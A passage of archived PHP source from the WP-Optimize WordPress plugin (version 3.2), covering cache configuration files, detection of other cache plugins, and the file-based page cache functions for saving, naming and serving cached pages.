			$config_file = WPO_CACHE_CONFIG_DIR.'/config-'.$url['host'].'-port'.$url['port'].'.php';
		} else {
			$config_file = WPO_CACHE_CONFIG_DIR.'/config-'.$url['host'].'.php';
		}

		$this->config = wp_parse_args($config, $this->get_defaults());

		// from 3.0.17 we use more secure way to store cache config files.
		$advanced_cache_version = WPO_Page_Cache::instance()->get_advanced_cache_version();
		// if advanced-cache.php exists and has at least 3.0.17 version or
		// advanced-cache.php doesn't exist then
		// we write the cache config in a new format.
		if (($advanced_cache_version && (version_compare($advanced_cache_version, '3.0.17', '>='))) || !$advanced_cache_version) {
			$config_content = '<?php' . "\n"
				. 'if (!defined(\'ABSPATH\')) die(\'No direct access allowed\');' . "\n\n"
				. '$GLOBALS[\'wpo_cache_config\'] = json_decode(\'' . json_encode($this->config) . '\', true);' . "\n";
		} else {
			$config_content = json_encode($this->config);
		}

		if ((!$only_if_present || file_exists($config_file)) && !file_put_contents($config_file, $config_content)) {
			return new WP_Error('write_cache_config', sprintf(__('The cache configuration file could not be saved to the disk; please check the file/folder permissions of %s .', 'wp-optimize'), $config_file));
		}

		return true;
	}

	/**
	 * Verify we can write to the file system
	 *
	 * @since  1.0
	 * @return boolean
	 */
	public function verify_file_access() {
		if (function_exists('clearstatcache')) {
			clearstatcache();
		}

		// First check wp-config.php.
		if (!is_writable(ABSPATH . 'wp-config.php') && !is_writable(ABSPATH . '../wp-config.php')) {
			return false;
		}

		// Now check wp-content. We need to be able to create files of the same user as this file.
		if (!$this->_is_dir_writable(untrailingslashit(WP_CONTENT_DIR))) {
			return false;
		}

		// If the cache and config directories exist, make sure they're writeable
		if (file_exists(untrailingslashit(WP_CONTENT_DIR) . '/wpo-cache')) {
			
			if (file_exists(WPO_CACHE_DIR)) {
				if (!$this->_is_dir_writable(WPO_CACHE_DIR)) {
					return false;
				}
			}

			if (file_exists(WPO_CACHE_CONFIG_DIR)) {
				if (!$this->_is_dir_writable(WPO_CACHE_CONFIG_DIR)) {
					return false;
				}
			}
		}

		return true;
	}

	/**
	 * Return defaults
	 *
	 * @return array
	 */
	public function get_defaults() {
		
		$defaults = array(
			'enable_page_caching'						=> false,
			'page_cache_length_value'					=> 24,
			'page_cache_length_unit'					=> 'hours',
			'page_cache_length'							=> 86400,
			'cache_exception_urls'						=> array(),
			'cache_exception_cookies'					=> array(),
			'cache_exception_browser_agents'			=> array(),
			'enable_sitemap_preload'					=> false,
			'enable_schedule_preload'					=> false,
			'preload_schedule_type'						=> '',
			'enable_mobile_caching'						=> false,
			'enable_user_caching'						=> false,
			'site_url'									=> network_site_url('/'),
			'enable_cache_per_country'					=> false,
		);

		return apply_filters('wpo_cache_defaults', $defaults);
	}

	/**
	 * Return an instance of the current class, create one if it doesn't exist
	 *
	 * @since  1.0
	 * @return WPO_Cache_Config
	 */
	public static function instance() {

		if (!self::$instance) {
			self::$instance = new self();
		}

		return self::$instance;
	}
}
endif;
wordpress/wp-optimize-versions/wp-optimize.3.2/wp-optimize/cache/class-wpo-detect-cache-plugins.php000644 000000 000000 00000004420 13665647440 034604 0ustar00rootwheel000000 000000 cms<?php

if (!defined('ABSPATH')) die('No direct access allowed');

class WP_Optimize_Detect_Cache_Plugins {

	private static $instance;

	/**
	 * WP_Optimize_Detect_Cache_Plugins constructor.
	 */
	protected function __construct() {
	}

	/**
	 * Detect list of active most popular WordPress cache plugins.
	 *
	 * @return array
	 */
	public function get_active_cache_plugins() {
		// The index is the plugin's slug

		$active_cache_plugins = array();

		foreach ($this->get_plugins() as $plugin_slug => $plugin_title) {

			$function_name = 'is_'.str_replace('-', '_', $plugin_slug).'_plugin_active';

			if (is_callable(array($this, $function_name))) {
				if (call_user_func(array($this, $function_name))) {
					$active_cache_plugins[$plugin_slug] = $plugin_title;
				}
			} else {
				if ($this->is_plugin_active($plugin_slug)) {
					$active_cache_plugins[$plugin_slug] = $plugin_title;
				}
			}
		}

		return $active_cache_plugins;
	}

	/**
	 * Get the plugins list
	 *
	 * @return array
	 */
	protected function get_plugins() {
		return array(
			'w3-total-cache' => 'W3 Total Cache',
			'wp-super-cache' => 'WP Super Cache',
			'wp-rocket' => 'WP Rocket',
			'wp-fastest-cache' => 'WP Fastest Cache',
			'litespeed-cache' => 'LiteSpeed Cache',
			'cache-enabler' => 'Cache Enabler',
			'comet-cache' => 'Comet Cache',
			'hummingbird-performance' => 'Hummingbird',
			'hyper-cache' => 'Hyper Cache',
		);
	}

	/**
	 * Check if W3 Total Cache active.
	 *
	 * @return bool
	 */
	public function is_w3_total_cache_plugin_active() {
		return defined('W3TC_VERSION') || $this->is_plugin_active('w3-total-cache');
	}

	/**
	 * Check if WP Rocket active.
	 *
	 * @return bool
	 */
	public function is_wp_rocket_plugin_active() {
		return defined('WP_ROCKET_VERSION') || $this->is_plugin_active('wp-rocket');
	}

	/**
	 * Check if $plugin is active.
	 *
	 * @param string $plugin - plugin slug
	 *
	 * @return bool
	 */
	private function is_plugin_active($plugin) {
		$status = WP_Optimize()->get_db_info()->get_plugin_status($plugin);

		return $status['active'];
	}

	/**
	 * Instance of WP_Optimize_Detect_Cache_Plugins.
	 *
	 * @return WP_Optimize_Detect_Cache_Plugins
	 */
	static public function instance() {
		static $instance;
		if (empty($instance)) {
			$instance = new self();
		}

		return $instance;
	}
}
wordpress/wp-optimize-versions/wp-optimize.3.2/wp-optimize/cache/file-based-page-cache-functions.php000644 000000 000000 00000110221 14173760430 034645 0ustar00rootwheel000000 000000 cms<?php

if (!defined('ABSPATH')) die('No direct access allowed');

/**
 * Extensions directory.
 */
if (!defined('WPO_CACHE_EXT_DIR')) define('WPO_CACHE_EXT_DIR', dirname(__FILE__).'/extensions');

/**
 * Holds utility functions used by file based cache
 */

/**
 * Cache output before it goes to the browser. If moving/renaming this function, then also change the check above.
 *
 * @param  String $buffer Page HTML.
 * @param  Int    $flags  OB flags to be passed through.
 *
 * @return String
 */
if (!function_exists('wpo_cache')) :
function wpo_cache($buffer, $flags) {
	
	// This case appears to happen for unclear reasons without WP being fully loaded, e.g. https://wordpress.org/support/topic/fatal-error-since-wp-5-8-update/ . It is simplest just to short-circuit it.
	if ('' === $buffer) return '';
	
	// This array records reasons why no cacheing took place. Be careful not to allow actions to proceed that should not - i.e. take note of its state appropriately.
	$no_cache_because = array();

	if (strlen($buffer) < 255) {
		$no_cache_because[] = sprintf(__('Output is too small (less than %d bytes) to be worth caching', 'wp-optimize'), 255);
	}

	// Don't cache pages for logged in users.
	if (empty($GLOBALS['wpo_cache_config']['enable_user_specific_cache']) && (!function_exists('wpo_we_cache_per_role') || !wpo_we_cache_per_role()) && (!function_exists('is_user_logged_in') || (function_exists('wp_get_current_user') && is_user_logged_in()))) {
		$no_cache_because[] = __('User is logged in', 'wp-optimize');
	}

	$restricted_page_type_cache = apply_filters('wpo_restricted_cache_page_type', false);
	if ($restricted_page_type_cache) {
		$no_cache_because[] = $restricted_page_type_cache;
	}

	// No root cache folder, so short-circuit here
	if (!file_exists(WPO_CACHE_DIR)) {
		$no_cache_because[] = __('WP-O cache parent directory was not found', 'wp-optimize').' ('.WPO_CACHE_DIR.')';
	} elseif (!file_exists(WPO_CACHE_FILES_DIR)) {
		// Try creating a folder for cached files, if it was flushed recently
		if (!mkdir(WPO_CACHE_FILES_DIR)) {
			$no_cache_because[] = __('WP-O cache directory was not found', 'wp-optimize').' ('.WPO_CACHE_FILES_DIR.')';
		} else {
			wpo_disable_cache_directories_viewing();
		}
	}

	// If comments are opened and the user has saved his information.
	if (function_exists('comments_open') && function_exists('get_post') && get_post() && comments_open()) {
		$commenter = wp_get_current_commenter();
		// if any of the fields contain something, do not save to cache
		if ('' != $commenter['comment_author'] || '' != $commenter['comment_author_email'] || '' != $commenter['comment_author_url']) {
			$no_cache_because[] = __('Comments are opened and the visitor saved his information.', 'wp-optimize');
		}
	}

	$can_cache_page = true;
	
	if (defined('DONOTCACHEPAGE') && DONOTCACHEPAGE) {
		$can_cache_page = false;
	}

	/**
	 * Defines if the page can be cached or not
	 *
	 * @param boolean $can_cache_page
	 */
	$can_cache_page_filter = apply_filters('wpo_can_cache_page', $can_cache_page);

	if (!$can_cache_page_filter) {
		if ($can_cache_page) {
			$can_cache_page = false;
			$no_cache_because[] = __('wpo_can_cache_page filter forbade it', 'wp-optimize');
		} else {
			$no_cache_because[] = __('DONOTCACHEPAGE constant forbade it and wpo_can_cache_page filter did not over-ride it', 'wp-optimize');
		}
	}

	if (defined('REST_REQUEST') && REST_REQUEST) {
		$no_cache_because[] = __('This is a REST API request (identified by REST_REQUEST constant)', 'wp-optimize');
	}

	// Don't cache with fatal error pages.
	$last_error = error_get_last();
	if (is_array($last_error) && E_ERROR == $last_error['type']) {
		$no_cache_because[] = __('This page has a fatal error', 'wp-optimize');
	}

	if (http_response_code() >= 500) {
		$no_cache_because[] = sprintf(__('This page has a critical error (HTTP code %s)', 'wp-optimize'), http_response_code());
	} elseif (http_response_code() >= 400) {
		$no_cache_because[] = sprintf(__('This page returned an HTTP unauthorised response code (%s)', 'wp-optimize'), http_response_code());
	}

	if (empty($no_cache_because)) {

		$buffer = apply_filters('wpo_pre_cache_buffer', $buffer, $flags);

		$url_path = wpo_get_url_path();

		$dirs = explode('/', $url_path);

		$path = WPO_CACHE_FILES_DIR;

		foreach ($dirs as $dir) {
			if (!empty($dir)) {
				$path .= '/' . $dir;

				if (!file_exists($path)) {
					if (!mkdir($path)) {
						$no_cache_because[] = __('Attempt to create subfolder within cache directory failed', 'wp-optimize')." ($path)";
						break;
					}
				}
			}
		}
	}

	if (!empty($no_cache_because)) {

		$message = implode(', ', $no_cache_because);

		// Add http headers
		wpo_cache_add_nocache_http_header($message);

		// Only output if the user has turned on debugging output
		if (((defined('WP_DEBUG') && WP_DEBUG) || isset($_GET['wpo_cache_debug'])) && (!defined('DOING_CRON') || !DOING_CRON) && (!defined('REST_REQUEST') || !REST_REQUEST)) {
			$buffer .= "\n<!-- WP Optimize page cache - https://getwpo.com - page NOT cached because: ".htmlspecialchars($message)." -->\n";
		}
		
		return $buffer;
	
	} else {
	
		// Prevent mixed content when there's an http request but the site URL uses https.
		$home_url = get_home_url();

		if (!is_ssl() && 'https' === strtolower(parse_url($home_url, PHP_URL_SCHEME))) {
			$https_home_url = $home_url;
			$http_home_url = str_ireplace('https://', 'http://', $https_home_url);
			$buffer = str_replace(esc_url($http_home_url), esc_url($https_home_url), $buffer);
		}

		$modified_time = time(); // Take this as soon before writing as possible

		$add_to_footer = '';
		
		/**
		 * Filter wether to display the html comment <!-- Cached by WP-Optimize ... -->
		 *
		 * @param boolean $show - Wether to display the html comment
		 * @return boolean
		 */
		if (preg_match('#</html>#i', $buffer) && (apply_filters('wpo_cache_show_cached_by_comment', true) || (defined('WP_DEBUG') && WP_DEBUG))) {
			if (!empty($GLOBALS['wpo_cache_config']['enable_mobile_caching']) && wpo_is_mobile()) {
				$add_to_footer .= "\n<!-- Cached by WP-Optimize - for mobile devices - https://getwpo.com - Last modified: " . gmdate('D, d M Y H:i:s', $modified_time) . " GMT -->\n";
			} else {
				$add_to_footer .= "\n<!-- Cached by WP-Optimize - https://getwpo.com - Last modified: " . gmdate('D, d M Y H:i:s', $modified_time) . " GMT -->\n";
			}
		}

		// Create an empty index.php file in the cache directory for disable directory viewing.
		if (!is_file($path . '/index.php')) file_put_contents($path . '/index.php', '');

		/**
		 * Save $buffer into cache file.
		 */
		$file_ext = '.html';

		if (wpo_feeds_caching_enabled()) {
			if (is_feed()) {
				$file_ext = '.rss-xml';
			}
		}

		$cache_filename = wpo_cache_filename($file_ext);
		$cache_file = $path . '/' .$cache_filename;

		if (defined('WPO_CACHE_FILENAME_DEBUG') && WPO_CACHE_FILENAME_DEBUG) {
			$add_to_footer .= "\n<!-- WP Optimize page cache debug information -->\n";
			if (!empty($GLOBALS['wpo_cache_filename_debug']) && is_array($GLOBALS['wpo_cache_filename_debug'])) {
				$add_to_footer .= "<!-- \n" . join("\n", array_map('htmlspecialchars', $GLOBALS['wpo_cache_filename_debug'])) . "\n --->";
			}
		}

		// if we can then cache gzipped content in .gz file.
		if (function_exists('gzencode')) {
			// Only replace inside the addition, not inside the main buffer (e.g. post content)
			file_put_contents($cache_file . '.gz', gzencode($buffer.str_replace('by WP-Optimize', 'by WP-Optimize (gzip)', $add_to_footer), apply_filters('wpo_cache_gzip_level', 6)));
		}

		file_put_contents($cache_file, $buffer.$add_to_footer);

		if (is_callable('WP_Optimize')) {
			// delete cached information about cache size.
			WP_Optimize()->get_page_cache()->delete_cache_size_information();
		} else {
			error_log('[WPO_CACHE] WP_Optimize() is not callable.');
			$message = 'Please report this to WP-O support: ';
			if (function_exists('wp_debug_backtrace_summary')) {
				$message .= wp_debug_backtrace_summary();
			} else {
				$message .= wpo_debug_backtrace_summary();
			}
			error_log($message);
		}

		header('Cache-Control: no-cache'); // Check back every time to see if re-download is necessary.
		header('Last-Modified: ' . gmdate('D, d M Y H:i:s', $modified_time) . ' GMT');
		header('WPO-Cache-Status: saving to cache');

		if (wpo_cache_can_output_gzip_content()) {
		
			if (!wpo_cache_is_in_response_headers_list('Content-Encoding', 'gzip')) {
				header('Content-Encoding: gzip');
			}
		
			// disable php gzip to avoid double compression.
			ini_set('zlib.output_compression', 'Off'); // phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.runtime_configuration_ini_set

			return ob_gzhandler($buffer, $flags);
		} else {
			return $buffer;
		}
	}
}
endif;

/**
 * Load files for support plugins.
 */
if (!function_exists('wpo_cache_load_extensions')) :
function wpo_cache_load_extensions() {
	$extensions = glob(WPO_CACHE_EXT_DIR . '/*.php');

	// Add external extensions
	if (defined('WPO_CACHE_CUSTOM_EXT_DIR') && is_dir(WPO_CACHE_CUSTOM_EXT_DIR)) {
		$extensions = array_merge($extensions, glob(WPO_CACHE_CUSTOM_EXT_DIR . '/*.php'));
	}

	if (empty($extensions)) return;

	foreach ($extensions as $extension) {
		if (is_file($extension)) require_once $extension;
	}
}
endif;

if (!function_exists('wpo_restricted_cache_page_type')) {
function wpo_restricted_cache_page_type($restricted) {
	global $post;

	// Don't cache search or password protected.
	if ((function_exists('is_search') && is_search()) || (function_exists('is_404') && is_404()) || !empty($post->post_password)) {
		$restricted = __('Page type is not cacheable (search, 404 or password-protected)', 'wp-optimize');
	}

	// Don't cache the front page if option is set.
	if (in_array('/', wpo_get_url_exceptions()) && function_exists('is_front_page') && is_front_page()) {

		$restricted = __('In the settings, caching is disabled for the front page', 'wp-optimize');
	}

	// Don't cache htacesss. Remember to properly escape any output to prevent injection.
	if (strpos($_SERVER['REQUEST_URI'], '.htaccess') !== false) {
		$restricted = 'The file path is unsuitable for caching ('.$_SERVER['REQUEST_URI'].')';
	}

	// Don't cache feeds.
	if (function_exists('is_feed') && is_feed() && !wpo_feeds_caching_enabled()) {
		$restricted = __('We don\'t cache RSS feeds', 'wp-optimize');
	}

	return $restricted;
}
}

/**
 * Returns true if we need cache content for loggedin users.
 *
 * @return bool
 */
if (!function_exists('wpo_cache_loggedin_users')) :
function wpo_cache_loggedin_users() {
	return !empty($GLOBALS['wpo_cache_config']['enable_user_caching']) || !empty($GLOBALS['wpo_cache_config']['enable_user_specific_cache']) || (function_exists('wpo_we_cache_per_role') && wpo_we_cache_per_role());
}
endif;

/**
 * Returns true if we need to cache content for loggedin users.
 *
 * @return bool
 */
if (!function_exists('wpo_user_specific_cache_enabled')) :
	function wpo_user_specific_cache_enabled() {
		return !empty($GLOBALS['wpo_cache_config']['enable_user_specific_cache']) && !empty($GLOBALS['wpo_cache_config']['wp_salt_auth']) && !empty($GLOBALS['wpo_cache_config']['wp_salt_logged_in']);
	}
endif;

/**
 * Get filename for store cache, depending on gzip, mobile and cookie settings.
 *
 * @param string $ext
 * @return string
 */
if (!function_exists('wpo_cache_filename')) :
function wpo_cache_filename($ext = '.html') {

	$wpo_cache_filename_debug = array();

	$filename = 'index';

	if (wpo_cache_mobile_caching_enabled() && wpo_is_mobile()) {
		$filename = 'mobile.' . $filename;
	}

	$cookies = wpo_cache_cookies();

	$cache_key = '';

	/**
	 * Add cookie values to filename if need.
	 * This section was inspired by things learned from WP-Rocket.
	 */
	if (!empty($cookies)) {
		foreach ($cookies as $key => $cookie_name) {
			if (is_array($cookie_name) && isset($_COOKIE[$key])) {
				foreach ($cookie_name as $cookie_key) {
					if (isset($_COOKIE[$key][$cookie_key]) && '' !== $_COOKIE[$key][$cookie_key]) {
						$_cache_key = $cookie_key.'='.$_COOKIE[$key][$cookie_key];
						$_cache_key = preg_replace('/[^a-z0-9_\-\=]/i', '-', $_cache_key);
						$cache_key .= '-' . $_cache_key;
						$wpo_cache_filename_debug[] = 'Cookie: name: ' . $key . '[' . $cookie_key . '], value: *** , cache_key:' . $_cache_key;
					}
				}
				continue;
			}

			if (isset($_COOKIE[$cookie_name]) && '' !== $_COOKIE[$cookie_name]) {
				$_cache_key = $cookie_name.'='.$_COOKIE[$cookie_name];
				$_cache_key = preg_replace('/[^a-z0-9_\-\=]/i', '-', $_cache_key);
				$cache_key .= '-' . $_cache_key;
				$wpo_cache_filename_debug[] = 'Cookie: name: ' . $cookie_name . ', value: *** , cache_key:' . $_cache_key;
			}
		}
	}

	$query_variables = wpo_cache_query_variables();

	/**
	 * Add GET variables to cache file name if need.
	 */
	if (!empty($query_variables)) {
		foreach ($query_variables as $variable) {
			if (isset($_GET[$variable]) && !empty($_GET[$variable])) {
				$_cache_key = $variable.'='.$_GET[$variable];
				$_cache_key = preg_replace('/[^a-z0-9_\-\=]/i', '-', $_cache_key);
				$cache_key .= '-' . $_cache_key;
				$wpo_cache_filename_debug[] = 'GET parameter: name: ' . $variable . ', value:' . htmlentities($_GET[$variable]) . ', cache_key:' . $_cache_key;
			}
		}
	}

	// add hash of queried cookies and variables to cache file name.
	if ('' !== $cache_key) {
		$hash = md5($cache_key);
		$filename .= '-'.$hash;
		$wpo_cache_filename_debug[] = 'Hash: ' . $hash;
	}

	$filename = apply_filters('wpo_cache_filename', $filename);

	$wpo_cache_filename_debug[] = 'Extension: ' . $ext;
	$wpo_cache_filename_debug[] = 'Filename: ' . $filename.$ext;

	$GLOBALS['wpo_cache_filename_debug'] = $wpo_cache_filename_debug;

	return $filename . $ext;
}
endif;

/**
 * Returns site url from site_url() function or if it is not available from cache configuration.
 */
if (!function_exists('wpo_site_url')) :
function wpo_site_url() {
	if (is_callable('site_url')) return site_url('/');

	$site_url = empty($GLOBALS['wpo_cache_config']['site_url']) ? '' : $GLOBALS['wpo_cache_config']['site_url'];
	return $site_url;
}
endif;

/**
 * Get cookie names which impact on cache file name.
 *
 * @return array
 */
if (!function_exists('wpo_cache_cookies')) :
function wpo_cache_cookies() {
	$cookies = empty($GLOBALS['wpo_cache_config']['wpo_cache_cookies']) ? array() : $GLOBALS['wpo_cache_config']['wpo_cache_cookies'];
	return $cookies;
}
endif;

/**
 * Get GET variable names which impact on cache file name.
 *
 * @return array
 */
if (!function_exists('wpo_cache_query_variables')) :
function wpo_cache_query_variables() {
	if (defined('WPO_CACHE_URL_PARAMS') && WPO_CACHE_URL_PARAMS) {
		$variables = array_keys($_GET);
	} else {
		$variables = empty($GLOBALS['wpo_cache_config']['wpo_cache_query_variables']) ? array() : $GLOBALS['wpo_cache_config']['wpo_cache_query_variables'];
	}

	if (!empty($variables)) {
		sort($variables);
	}

	return wpo_cache_maybe_ignore_query_variables($variables);
}
endif;

/**
 * Get list of all received HTTP headers.
 *
 * @return array
 */
if (!function_exists('wpo_get_http_headers')) :
function wpo_get_http_headers() {

	static $headers;

	if (!empty($headers)) return $headers;

	$headers = array();

	// if is apache server then use get allheaders() function.
	if (function_exists('getallheaders')) {
		$headers = getallheaders();
	} else {
		// https://www.php.net/manual/en/function.getallheaders.php
		foreach ($_SERVER as $key => $value) {

			$key = strtolower($key);

			if ('HTTP_' == substr($key, 0, 5)) {
				$headers[str_replace(' ', '-', ucwords(str_replace('_', ' ', substr($key, 5))))] = $value;
			} elseif ('content_type' == $key) {
				$headers["Content-Type"] = $value;
			} elseif ('content_length' == $key) {
				$headers["Content-Length"] = $value;
			}
		}
	}

	return $headers;
}
endif;

/**
 * Check if requested Accept-Encoding headers has gzip value.
 *
 * @return bool
 */
if (!function_exists('wpo_cache_gzip_accepted')) :
function wpo_cache_gzip_accepted() {
	$headers = wpo_get_http_headers();

	if (isset($headers['Accept-Encoding']) && preg_match('/gzip/i', $headers['Accept-Encoding'])) return true;

	return false;
}
endif;

/**
 * Check if we can output gzip content in current answer, i.e. check Accept-Encoding headers has gzip value
 * and function ob_gzhandler is available.
 *
 * @return bool
 */
if (!function_exists('wpo_cache_can_output_gzip_content')) :
function wpo_cache_can_output_gzip_content() {
	return wpo_cache_gzip_accepted() && function_exists('ob_gzhandler');
}
endif;

/**
 * Check if header with certain name exists in already prepared headers and has value comparable with $header_value.
 *
 * @param string $header_name  header name
 * @param string $header_value header value as regexp.
 *
 * @return bool
 */
if (!function_exists('wpo_cache_is_in_response_headers_list')) :
function wpo_cache_is_in_response_headers_list($header_name, $header_value) {
	$headers_list = headers_list();

	if (!empty($headers_list)) {
		$header_name = strtolower($header_name);

		foreach ($headers_list as $value) {
			$value = explode(':', $value);

			if (strtolower($value[0]) == $header_name) {
				if (preg_match('/'.$header_value.'/', $value[1])) {
					return true;
				} else {
					return false;
				}
			}
		}
	}

	return false;
}
endif;

/**
 * Check if mobile cache is enabled and current request is from moblile device.
 *
 * @return bool
 */
if (!function_exists('wpo_cache_mobile_caching_enabled')) :
function wpo_cache_mobile_caching_enabled() {
	if (!empty($GLOBALS['wpo_cache_config']['enable_mobile_caching'])) return true;
	return false;
}
endif;

/**
 * Serves the cache and exits
 */
if (!function_exists('wpo_serve_cache')) :
function wpo_serve_cache() {
	$file_name = wpo_cache_filename();

	$file_name_rss_xml = wpo_cache_filename('.rss-xml');
	$send_as_feed = false;

	$path_dir = WPO_CACHE_FILES_DIR . '/' . wpo_get_url_path() . '/';
	$path = $path_dir . $file_name;

	if (wpo_feeds_caching_enabled()) {
		// check for .xml cache file if .html cache file doesn't exist
		if (!file_exists($path_dir . $file_name) && file_exists($path_dir . $file_name_rss_xml)) {
			$path = $path_dir . $file_name_rss_xml;
			$send_as_feed = true;
		}
	}

	$use_gzip = false;

	// if we can use gzip and gzipped file exist in cache we use it.
	// if headers already sent we don't use gzipped file content.
	if (!headers_sent() && wpo_cache_gzip_accepted() && file_exists($path . '.gz')) {
		$path .= '.gz';
		$use_gzip = true;
	}

	$modified_time = file_exists($path) ? (int) filemtime($path) : time();

	// Cache has expired, purge and exit.
	if (!empty($GLOBALS['wpo_cache_config']['page_cache_length'])) {
		if (time() > ($GLOBALS['wpo_cache_config']['page_cache_length'] + $modified_time)) {
			wpo_delete_files($path);
			return;
		}
	}

	// disable zlib output compression to avoid double content compression.
	if ($use_gzip) {
		ini_set('zlib.output_compression', 'Off'); // phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.runtime_configuration_ini_set
	}

	$gzip_header_already_sent = wpo_cache_is_in_response_headers_list('Content-Encoding', 'gzip');

	header('Cache-Control: no-cache'); // Check back later

	if (!empty($modified_time) && !empty($_SERVER['HTTP_IF_MODIFIED_SINCE']) && strtotime($_SERVER['HTTP_IF_MODIFIED_SINCE']) === $modified_time) {
		if ($use_gzip && !$gzip_header_already_sent) {
			header('Content-Encoding: gzip');
		}

		if ($send_as_feed) {
			header('Content-type: application/rss+xml');
		}

		header('WPO-Cache-Status: cached');
		header('Last-Modified: ' . gmdate('D, d M Y H:i:s', $modified_time) . ' GMT');
		header($_SERVER['SERVER_PROTOCOL'] . ' 304 Not Modified', true, 304);
		exit;
	}

	if (file_exists($path) && is_readable($path)) {
		if ($use_gzip && !$gzip_header_already_sent) {
			header('Content-Encoding: gzip');
		}

		// send correct headers for xml and txt files
		$filename = basename(dirname($path));

		if (preg_match('/\.xml$/i', $filename)) {
			header('Content-type: text/xml');
		}

		if (preg_match('/\.txt$/i', $filename)) {
			header('Content-type: text/plain');
		}

		if ($send_as_feed) {
			header('Content-type: application/rss+xml');
		}

		header('WPO-Cache-Status: cached');
		if (!empty($modified_time)) {
			header('Last-Modified: ' . gmdate('D, d M Y H:i:s', $modified_time) . ' GMT');
		}

		readfile($path);

		exit;
	}
}
endif;

/**
 * Clears the cache
 */
if (!function_exists('wpo_cache_flush')) :
function wpo_cache_flush() {

	if (defined('WPO_CACHE_FILES_DIR') && '' != WPO_CACHE_FILES_DIR) wpo_delete_files(WPO_CACHE_FILES_DIR);

	if (function_exists('wp_cache_flush')) {
		wp_cache_flush();
	}

	do_action('wpo_cache_flush');
}
endif;

/**
 * Get URL path for caching
 *
 * @since  1.0
 * @return string
 */
if (!function_exists('wpo_get_url_path')) :
function wpo_get_url_path($url = '') {
	$url = '' == $url ? wpo_current_url() : $url;
	$url_parts = parse_url($url);
	
	if (isset($url_parts['path']) && false !== stripos($url_parts['path'], '/index.php')) {
		$url_parts['path'] = preg_replace('/(.*?)index\.php(\/.+)/i', '$1index-php$2', $url_parts['path']);
	}

	if (!isset($url_parts['host'])) $url_parts['host'] = '';
	if (!isset($url_parts['path'])) $url_parts['path'] = '';

	return $url_parts['host'].$url_parts['path'];
}
endif;

/**
 * Get requested url.
 *
 * @return string
 */
if (!function_exists('wpo_current_url')) :
function wpo_current_url() {
	// Note: We use `static $url` to save the first value we retrieve, as some plugins change $_SERVER later on in the process (e.g. Weglot).
	// Otherwise this function would return a different URL at the begining and end of the cache process.
	static $url = '';
	if ('' != $url) return $url;
	$http_host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '';
	$url = rtrim('http' . ((isset($_SERVER['HTTPS']) && ('on' == $_SERVER['HTTPS'] || 1 == $_SERVER['HTTPS']) ||
			isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && 'https' == $_SERVER['HTTP_X_FORWARDED_PROTO']) ? 's' : '' )
		. '://' . $http_host.$_SERVER['REQUEST_URI'], '/');
	return $url;
}
endif;

/**
 * Return list of url exceptions.
 *
 * @return array
 */
if (!function_exists('wpo_get_url_exceptions')) :
function wpo_get_url_exceptions() {
	static $exceptions = null;

	if (null !== $exceptions) return $exceptions;

	// if called from file-based-page-cache.php when WP loading
	// and cache settings exists then use it otherwise get settings from database.
	if (isset($GLOBALS['wpo_cache_config']['cache_exception_urls'])) {
		if (empty($GLOBALS['wpo_cache_config']['cache_exception_urls'])) {
			$exceptions = array();
		} else {
			$exceptions = is_array($GLOBALS['wpo_cache_config']['cache_exception_urls']) ? $GLOBALS['wpo_cache_config']['cache_exception_urls'] : preg_split('#(\n|\r)#', $GLOBALS['wpo_cache_config']['cache_exception_urls']);
		}
	} else {
		$config = WPO_Page_Cache::instance()->config->get();

		if (is_array($config) && array_key_exists('cache_exception_urls', $config)) {
			$exceptions = $config['cache_exception_urls'];
		} else {
			$exceptions = array();
		}

		$exceptions = is_array($exceptions) ? $exceptions : preg_split('#(\n|\r)#', $exceptions);
		$exceptions = array_filter($exceptions, 'trim');
	}

	return apply_filters('wpo_get_url_exceptions', $exceptions);
}
endif;

/**
 * Return true of exception url matches current url
 *
 * @param  string $exception Exceptions to check URL against.
 * @param  bool   $regex	 Whether to check with regex or not.
 * @return bool   true if matched, false otherwise
 */
if (!function_exists('wpo_current_url_exception_match')) :
function wpo_current_url_exception_match($exception) {

	return wpo_url_exception_match(wpo_current_url(), $exception);
}
endif;

/**
 * Check if url in exceptions list.
 *
 * @param string $url
 *
 * @return bool
 */
if (!function_exists('wpo_url_in_exceptions')) :
function wpo_url_in_exceptions($url) {
	$exceptions = wpo_get_url_exceptions();

	if (!empty($exceptions)) {
		foreach ($exceptions as $exception) {

			// don't check / - front page using regexp, we handle it in wpo_restricted_cache_page_type()
			if ('/' == $exception) continue;

			if (wpo_url_exception_match($url, $exception)) {
				// Exception match.
				return true;
			}
		}
	}

	return false;
}
endif;

/**
 * Check if url string match with exception.
 *
 * @param string $url       - complete url string i.e. http(s):://domain/path
 * @param string $exception - complete url or absolute path, can consist (.*) wildcards
 *
 * @return bool
 */
if (!function_exists('wpo_url_exception_match')) :
function wpo_url_exception_match($url, $exception) {
	if (preg_match('#^[\s]*$#', $exception)) {
		return false;
	}

	$exception = str_replace('*', '.*', $exception);

	$exception = trim($exception);

	// used to test websites placed in subdirectories.
	$sub_dir = '';

	// if exception defined from root i.e. /page1 then remove domain part in url.
	if (preg_match('/^\//', $exception)) {
		// get site sub directory.
		$sub_dir = preg_replace('#^(http|https):\/\/.*\/#Ui', '', wpo_site_url());
		// add prefix slash and remove slash.
		$sub_dir = ('' == $sub_dir) ? '' : '/' . rtrim($sub_dir, '/');
		// get relative path
		$url = preg_replace('#^(http|https):\/\/.*\/#Ui', '/', $url);
	}

	$url = rtrim($url, '/') . '/';
	$exception = rtrim($exception, '/');

	// if we have no wildcat in the end of exception then add slash.
	if (!preg_match('#\(\.\*\)$#', $exception)) $exception .= '/';

	$exception = preg_quote($exception);

	// fix - unescape possible escaped mask .*
	$exception = str_replace('\\.\\*', '.*', $exception);

	return preg_match('#^'.$exception.'$#i', $url) || preg_match('#^'.$sub_dir.$exception.'$#i', $url);
}
endif;

/**
 * Checks if its a mobile device
 *
 * @see https://developer.wordpress.org/reference/functions/wp_is_mobile/
 */
if (!function_exists('wpo_is_mobile')) :
function wpo_is_mobile() {
	if (empty($_SERVER['HTTP_USER_AGENT'])) {
		$is_mobile = false;
	// many mobile devices (all iPhone, iPad, etc.)
	} elseif (strpos($_SERVER['HTTP_USER_AGENT'], 'Mobile') !== false
		|| strpos($_SERVER['HTTP_USER_AGENT'], 'Android') !== false
		|| strpos($_SERVER['HTTP_USER_AGENT'], 'Silk/') !== false
